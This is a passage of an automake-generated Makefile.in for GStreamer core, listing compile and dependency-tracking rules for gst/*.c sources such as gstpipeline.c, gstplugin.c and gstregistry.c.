$(AM_CFLAGS) $(CFLAGS) -c -o gstparamspecs.obj `if test -f 'gst/gstparamspecs.c'; then $(CYGPATH_W) 'gst/gstparamspecs.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstparamspecs.c'; fi` gstpipeline.o: gst/gstpipeline.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstpipeline.o -MD -MP -MF $(DEPDIR)/gstpipeline.Tpo -c -o gstpipeline.o `test -f 'gst/gstpipeline.c' || echo '$(srcdir)/'`gst/gstpipeline.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstpipeline.Tpo $(DEPDIR)/gstpipeline.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstpipeline.c' object='gstpipeline.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstpipeline.o `test -f 'gst/gstpipeline.c' || echo '$(srcdir)/'`gst/gstpipeline.c gstpipeline.obj: gst/gstpipeline.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstpipeline.obj -MD -MP -MF $(DEPDIR)/gstpipeline.Tpo -c -o gstpipeline.obj `if test -f 'gst/gstpipeline.c'; then $(CYGPATH_W) 'gst/gstpipeline.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstpipeline.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstpipeline.Tpo $(DEPDIR)/gstpipeline.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstpipeline.c' object='gstpipeline.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstpipeline.obj `if test -f 'gst/gstpipeline.c'; then $(CYGPATH_W) 'gst/gstpipeline.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstpipeline.c'; fi` gstplugin.o: gst/gstplugin.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstplugin.o -MD -MP -MF $(DEPDIR)/gstplugin.Tpo -c -o gstplugin.o `test -f 'gst/gstplugin.c' || echo '$(srcdir)/'`gst/gstplugin.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstplugin.Tpo $(DEPDIR)/gstplugin.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstplugin.c' object='gstplugin.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstplugin.o `test -f 'gst/gstplugin.c' || echo '$(srcdir)/'`gst/gstplugin.c gstplugin.obj: gst/gstplugin.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstplugin.obj -MD -MP -MF $(DEPDIR)/gstplugin.Tpo -c -o gstplugin.obj `if test -f 'gst/gstplugin.c'; then $(CYGPATH_W) 'gst/gstplugin.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstplugin.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstplugin.Tpo $(DEPDIR)/gstplugin.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstplugin.c' object='gstplugin.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstplugin.obj `if test -f 'gst/gstplugin.c'; then $(CYGPATH_W) 'gst/gstplugin.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstplugin.c'; fi` gstpoll.o: gst/gstpoll.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstpoll.o -MD -MP -MF $(DEPDIR)/gstpoll.Tpo -c -o gstpoll.o `test -f 'gst/gstpoll.c' || echo '$(srcdir)/'`gst/gstpoll.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstpoll.Tpo $(DEPDIR)/gstpoll.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstpoll.c' object='gstpoll.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstpoll.o `test -f 'gst/gstpoll.c' || echo '$(srcdir)/'`gst/gstpoll.c gstpoll.obj: gst/gstpoll.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstpoll.obj -MD -MP -MF $(DEPDIR)/gstpoll.Tpo -c -o gstpoll.obj `if test -f 'gst/gstpoll.c'; then $(CYGPATH_W) 'gst/gstpoll.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstpoll.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstpoll.Tpo $(DEPDIR)/gstpoll.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstpoll.c' object='gstpoll.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstpoll.obj `if test -f 'gst/gstpoll.c'; then $(CYGPATH_W) 'gst/gstpoll.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstpoll.c'; fi` gstpreset.o: gst/gstpreset.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstpreset.o -MD -MP -MF $(DEPDIR)/gstpreset.Tpo -c -o gstpreset.o `test -f 'gst/gstpreset.c' || echo '$(srcdir)/'`gst/gstpreset.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstpreset.Tpo $(DEPDIR)/gstpreset.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstpreset.c' object='gstpreset.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstpreset.o `test -f 'gst/gstpreset.c' || echo '$(srcdir)/'`gst/gstpreset.c gstpreset.obj: gst/gstpreset.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstpreset.obj -MD -MP -MF $(DEPDIR)/gstpreset.Tpo -c -o gstpreset.obj `if test -f 'gst/gstpreset.c'; then $(CYGPATH_W) 'gst/gstpreset.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstpreset.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstpreset.Tpo $(DEPDIR)/gstpreset.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstpreset.c' object='gstpreset.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstpreset.obj `if test -f 'gst/gstpreset.c'; then $(CYGPATH_W) 'gst/gstpreset.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstpreset.c'; fi` gstquery.o: gst/gstquery.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstquery.o -MD -MP -MF $(DEPDIR)/gstquery.Tpo -c -o gstquery.o `test -f 'gst/gstquery.c' || echo '$(srcdir)/'`gst/gstquery.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstquery.Tpo $(DEPDIR)/gstquery.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstquery.c' object='gstquery.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstquery.o `test -f 'gst/gstquery.c' || echo '$(srcdir)/'`gst/gstquery.c gstquery.obj: gst/gstquery.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstquery.obj -MD -MP -MF $(DEPDIR)/gstquery.Tpo -c -o gstquery.obj `if test -f 'gst/gstquery.c'; then $(CYGPATH_W) 'gst/gstquery.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstquery.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstquery.Tpo $(DEPDIR)/gstquery.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstquery.c' object='gstquery.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstquery.obj `if test -f 'gst/gstquery.c'; then $(CYGPATH_W) 'gst/gstquery.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstquery.c'; fi` gstregistry.o: gst/gstregistry.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstregistry.o -MD -MP -MF $(DEPDIR)/gstregistry.Tpo -c -o gstregistry.o `test -f 'gst/gstregistry.c' || echo '$(srcdir)/'`gst/gstregistry.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstregistry.Tpo $(DEPDIR)/gstregistry.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstregistry.c' object='gstregistry.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstregistry.o `test -f 'gst/gstregistry.c' || echo '$(srcdir)/'`gst/gstregistry.c gstregistry.obj: gst/gstregistry.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstregistry.obj -MD -MP -MF $(DEPDIR)/gstregistry.Tpo -c -o gstregistry.obj `if test -f 'gst/gstregistry.c'; then $(CYGPATH_W) 'gst/gstregistry.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstregistry.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstregistry.Tpo $(DEPDIR)/gstregistry.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstregistry.c' object='gstregistry.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstregistry.obj `if test -f 'gst/gstregistry.c'; then $(CYGPATH_W) 'gst/gstregistry.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstregistry.c'; fi` gstsegment.o: gst/gstsegment.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstsegment.o -MD -MP -MF $(DEPDIR)/gstsegment.Tpo -c -o gstsegment.o `test -f 'gst/gstsegment.c' || echo '$(srcdir)/'`gst/gstsegment.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstsegment.Tpo $(DEPDIR)/gstsegment.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstsegment.c' object='gstsegment.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstsegment.o `test -f 'gst/gstsegment.c' || echo '$(srcdir)/'`gst/gstsegment.c gstsegment.obj: gst/gstsegment.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstsegment.obj -MD -MP -MF $(DEPDIR)/gstsegment.Tpo -c -o gstsegment.obj `if test -f 'gst/gstsegment.c'; then $(CYGPATH_W) 'gst/gstsegment.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstsegment.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstsegment.Tpo $(DEPDIR)/gstsegment.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstsegment.c' object='gstsegment.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstsegment.obj `if test -f 'gst/gstsegment.c'; then $(CYGPATH_W) 'gst/gstsegment.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstsegment.c'; fi` gststructure.o: gst/gststructure.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gststructure.o -MD -MP -MF $(DEPDIR)/gststructure.Tpo -c -o gststructure.o `test -f 'gst/gststructure.c' || echo '$(srcdir)/'`gst/gststructure.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gststructure.Tpo $(DEPDIR)/gststructure.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gststructure.c' object='gststructure.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gststructure.o `test -f 'gst/gststructure.c' || echo '$(srcdir)/'`gst/gststructure.c gststructure.obj: gst/gststructure.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gststructure.obj -MD -MP -MF $(DEPDIR)/gststructure.Tpo -c -o gststructure.obj `if test -f 'gst/gststructure.c'; then $(CYGPATH_W) 'gst/gststructure.c'; else $(CYGPATH_W) '$(srcdir)/gst/gststructure.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gststructure.Tpo $(DEPDIR)/gststructure.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gststructure.c' object='gststructure.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gststructure.obj `if test -f 'gst/gststructure.c'; then $(CYGPATH_W) 'gst/gststructure.c'; else $(CYGPATH_W) '$(srcdir)/gst/gststructure.c'; fi` gstsystemclock.o: gst/gstsystemclock.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstsystemclock.o -MD -MP -MF $(DEPDIR)/gstsystemclock.Tpo -c -o gstsystemclock.o `test -f 'gst/gstsystemclock.c' || echo '$(srcdir)/'`gst/gstsystemclock.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstsystemclock.Tpo $(DEPDIR)/gstsystemclock.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstsystemclock.c' object='gstsystemclock.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstsystemclock.o `test -f 'gst/gstsystemclock.c' || echo '$(srcdir)/'`gst/gstsystemclock.c gstsystemclock.obj: gst/gstsystemclock.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstsystemclock.obj -MD -MP -MF $(DEPDIR)/gstsystemclock.Tpo -c -o gstsystemclock.obj `if test -f 'gst/gstsystemclock.c'; then $(CYGPATH_W) 'gst/gstsystemclock.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstsystemclock.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstsystemclock.Tpo $(DEPDIR)/gstsystemclock.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstsystemclock.c' object='gstsystemclock.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstsystemclock.obj `if test -f 'gst/gstsystemclock.c'; then $(CYGPATH_W) 'gst/gstsystemclock.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstsystemclock.c'; fi` gsttag.o: gst/gsttag.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gsttag.o -MD -MP -MF $(DEPDIR)/gsttag.Tpo -c -o gsttag.o `test -f 'gst/gsttag.c' || echo '$(srcdir)/'`gst/gsttag.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gsttag.Tpo $(DEPDIR)/gsttag.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gsttag.c' object='gsttag.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gsttag.o `test -f 'gst/gsttag.c' || echo '$(srcdir)/'`gst/gsttag.c gsttag.obj: gst/gsttag.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gsttag.obj -MD -MP -MF $(DEPDIR)/gsttag.Tpo -c -o gsttag.obj `if test -f 'gst/gsttag.c'; then $(CYGPATH_W) 'gst/gsttag.c'; else $(CYGPATH_W) '$(srcdir)/gst/gsttag.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gsttag.Tpo $(DEPDIR)/gsttag.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gsttag.c' object='gsttag.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gsttag.obj `if test -f 'gst/gsttag.c'; then $(CYGPATH_W) 'gst/gsttag.c'; else $(CYGPATH_W) '$(srcdir)/gst/gsttag.c'; fi` gsttagsetter.o: gst/gsttagsetter.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gsttagsetter.o -MD -MP -MF $(DEPDIR)/gsttagsetter.Tpo -c -o gsttagsetter.o `test -f 'gst/gsttagsetter.c' || echo '$(srcdir)/'`gst/gsttagsetter.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gsttagsetter.Tpo $(DEPDIR)/gsttagsetter.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gsttagsetter.c' object='gsttagsetter.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gsttagsetter.o `test -f 'gst/gsttagsetter.c' || echo '$(srcdir)/'`gst/gsttagsetter.c gsttagsetter.obj: gst/gsttagsetter.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gsttagsetter.obj -MD -MP -MF $(DEPDIR)/gsttagsetter.Tpo -c -o gsttagsetter.obj `if test -f 'gst/gsttagsetter.c'; then $(CYGPATH_W) 'gst/gsttagsetter.c'; else $(CYGPATH_W) '$(srcdir)/gst/gsttagsetter.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gsttagsetter.Tpo $(DEPDIR)/gsttagsetter.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gsttagsetter.c' object='gsttagsetter.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gsttagsetter.obj `if test -f 'gst/gsttagsetter.c'; then $(CYGPATH_W) 'gst/gsttagsetter.c'; else $(CYGPATH_W) '$(srcdir)/gst/gsttagsetter.c'; fi` gsttask.o: gst/gsttask.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) 